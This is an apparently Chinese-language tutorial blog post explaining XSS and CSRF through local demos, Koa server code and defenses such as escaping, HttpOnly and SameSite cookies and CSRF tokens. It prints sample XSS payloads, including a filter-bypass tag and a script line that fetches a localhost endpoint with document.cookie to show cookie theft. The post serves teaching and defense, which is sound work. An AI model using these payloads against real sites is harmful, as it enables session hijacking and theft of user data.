几个栗子搞懂xss和csrf攻击

xss攻击

例如我在掘金评论区输入以下评论:

jsx 复制代码
<script>alert(1)</script>

提交后再打开评论区,发现返回的HTML中可以看到这段代码评论, 但是并没有执行? 因为代码进行了转义, 在控制台审查dom元素, 点击 Edit as Html :

可以看到特殊符号转成了转义字符:

试想, 如果这些字符没有被转义, 在我们打开评论区的时候, 就会出现弹框了!

xss(Cross-Site Scripting) 中文名为跨站脚本攻击. 指的是攻击者在页面的输入控件(如input框)中注入恶意脚本, 服务端保存了页面输入的内容, 其他用户再访问这个页面时, 服务端将脚本内容返回给了用户, 用户浏览器执行恶意脚本, 从而用户的敏感信息被窃取或者被攻击.

XSS实例

1、攻击者在某论坛评论区留言了一段脚本代码<script>alert(1)</script>并提交, 这段代码被存储在了数据库, 其他用户访问评论区时, 会执行这段代码

2、攻击者通过在网站注入脚本来获取用户cookie信息.

如下例子中, 用户的页面被注入了代码: <script>fetch('http://localhost:4000/transfer_cookie?s='+document.cookie)</script>, 用户点击测试按钮, 他的cookie就会传送到攻击者的服务器. 服务端能打印出cookie:

3、在vue项目使用v-html被注入了脚本代码,例如:<img src onerror='alert(1)'/>, 这种情况直接注入<script>alert(1)</script>并不会执行

比如下面例子中,内容中第二行为使用v-html的动态内容:

点击测试, 可以发现v-html中的内容被替换为包含脚本的html并执行了:

4、后端用正则替换来处理前端传递的html字符串: <scscriptript>alert(1)</scscriptript>

可以看到有很多方法可能造成xss注入,总的来说有下面几种:

  • html中内嵌script 标签
  • 在内联的 js 中,拼接恶意代码
  • 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签
  • 在 href、src 属性中,使用 javascript: 等可执行代码
  • 在 onload、onerror、onclick 等事件中,注入代码

xss的类型(来自mdn)

可以分为 存储型 XSS反射型 XSS、和基于DOM的 XSS

注入型脚本 : 永久存储在目标服务器上。当浏览器请求数据时,脚本从服务器上传回并执行。
反射型 XSS : 当用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。
基于 DOM 的 XSS: 页面本身并没有变化,但由于 DOM 环境被恶意修改,有客户端代码被包含进了页面,并且意外执行。

XSS防范

前端不要轻易在页面中注入来路不明或者可能被篡改的html,服务端也要对用户提交的html内容进行过滤、转义等. 另外通过在敏感cookie设置 HttpOnly 标记, 防止javascript访问cookie, 也可以防范cookie盗用:

ini 复制代码
Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT; HttpOnly

另外, 在 vue 的模版和 reactrenderDom 中都对字符串进行了转义, 因此在spa应用中通常不用太多考虑 xss 的风险, 除非使用v-html这样的指令.

CSRF攻击

Cross---Site Request Forgery全称为跨站请求伪造, 从名字可以看出来: CSRF侧重的是请求的"伪造", 从而达到盗用用户身份, 发起恶意请求的目的.

先来看一个代码实例:

CSRF实例

假设在银行网站localhost:4010有一个页面, 页面上有登陆、支付和退出登陆功能:

点击登陆, 这时会调服务端接口,创建session,保存用户的登陆状态. 然后再点进钓鱼网站 [localhost:4020](http://localhost:4020) , 你在这里点了一个号称"美女荷官"的按钮, 请求了localhost:4010/pay 这个支付接口. 你会发现竟然支付成功了!

这是因为在[localhost:4020](http://localhost:4020) 的请求也携带了用户的会话cookie, 而服务端会根据cookie中的信息来判断用户是否登陆过.

如果在localhost:4010点击了退出登陆, 再点击"美女荷官"的按钮, 就会失败, 因为服务端session已经过期, 客户端再携带老的cookie去请求接口, 肯定会不通过的.

服务端代码:

jsx 复制代码
// router/index.js
router.get("/login", async(ctx, next) => {
  ctx.session.login = true
  console.log('登陆成功,已添加session!')
  ctx.body = {
    message: '登陆成功'
  }
  next()
})
router.get("/logout", async (ctx, next) => {
  ctx.session.login = false
  ctx.body = {
    message: '退出成功'
  }
  next()
})
router.get("/pay", (ctx) => {
  if (ctx.session.login) {
    ctx.body = {
      message: '支付成功'
    }
  } else {
    ctx.body = {
      message: '未登陆!'
    }
  }
})
jsx 复制代码
// index.js
const Koa = require("koa")
const router = require("./router")
const cors = require('@koa/cors')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const app = new Koa()

// axios请求默认不携带cookie,设置withCredentials:true则会自动携带,需要在服务端设置Access-Control-Allow-Credentials头部
app.use(cors({ credentials: true }))
app.use(bodyParser())
app.use(router.routes())
app.keys = ['some secret hurr']

const CONFIG = {
  key: 'koa.sess',
  maxAge: 60000,
  autoCommit: true,
  overwrite: true,
  httpOnly: true,
  signed: true,
  rolling: false,
  renew: false,
  secure: false,
  sameSite: null
}
app.use(session(CONFIG, app))

app.listen(4000,()=>{
    console.log("open server localhost:4000")
})

防御CSRF

从上面这个过程可以看到, 被攻击的原因是因为cookie被跨站获取了, 因此不允许跨站获取cookie能防御大部分CSRF

1、同源检测: 黑客要发起攻击的话只能是在自己的网站构造请求, 因此通过HTTP头 Origin 和 Referer 确定来源的域名, 如果和本域不一致则拦截.

Referer - HTTP | MDN

2、较敏感的cookie 设置 SameSite 属性为StrictLax, SameSite允许服务器指定是否可以在第三方不同域网站上携带 cookie, 如服务端设置返回头:

ini 复制代码
Set-Cookie: key=value; SameSite=Strict

3、CSRF Token: 在关键请求中携带一个攻击者无法获取到的token,那么攻击就会失败了

额外知识

  • 转义字符的意义: 比如ASCll里面的控制字符及回车换行等字符,这些字符都没有现成的文字代号,即无法用键盘上任何单个按键表示。 所以只能用转义字符来表示。 某一些特定的字符在编辑语言中被定义为特殊用途的字符。 这些字符由于被定义为特殊用途,它们失去了原有的意义。

  • 什么是跨站和跨域?

    跨站: 比如 ark.dev.cnzeus.test.cn 就属于跨站, 因为它两有不同的二级域名
    ark.dev.cnzeus.dev.cn 就属于同站,因为具有相同的二级域名 dev.cn

    跨域: 域名只要不一样就跨域了

  • XMLHttpRequest.withCredentials属性是一个布尔值,表示跨域请求时,用户信息(比如 Cookie 和认证的 HTTP 头信息)是否会包含在请求之中,默认为false,即向 example.com 发出跨域请求时,不会发送 example.com 设置在本机上的 Cookie(如果有的话)。axios中的withCredentials配置设置的就是这个值。

demo代码

代码仓库: 地址

代码使用了pnpm进行monorepo管理, 在最外层仓库安装依赖后, 分别运行以下命令就可:

shell 复制代码
// port: 4000
pnpm run start:end
// port: 4030
pnpm run start:xss
// port: 4010 4020
pnpm run start:csrf
相关推荐
vvw&27 分钟前
如何在 Ubuntu 22.04 上安装 Caddy Web 服务器教程
linux·运维·服务器·前端·ubuntu·web·caddy
网络安全(华哥)3 小时前
网络安全概论
网络·安全·web安全
落日弥漫的橘_3 小时前
npm run 运行项目报错:Cannot resolve the ‘pnmp‘ package manager
前端·vue.js·npm·node.js
梦里小白龙3 小时前
npm发布流程说明
前端·npm·node.js
No Silver Bullet3 小时前
Vue进阶(贰幺贰)npm run build多环境编译
前端·vue.js·npm
破浪前行·吴3 小时前
【初体验】【学习】Web Component
前端·javascript·css·学习·html
泷羽Sec-pp4 小时前
基于Centos 7系统的安全加固方案
java·服务器·前端
IT 古月方源4 小时前
GRE技术的详细解释
运维·前端·网络·tcp/ip·华为·智能路由器
myepicure8884 小时前
Windows下调试Dify相关组件(1)--前端Web
前端·llm
用户59594399272194 小时前
大牛工程师告诉你:开关电源“Y电容”都是这样计算的!
前端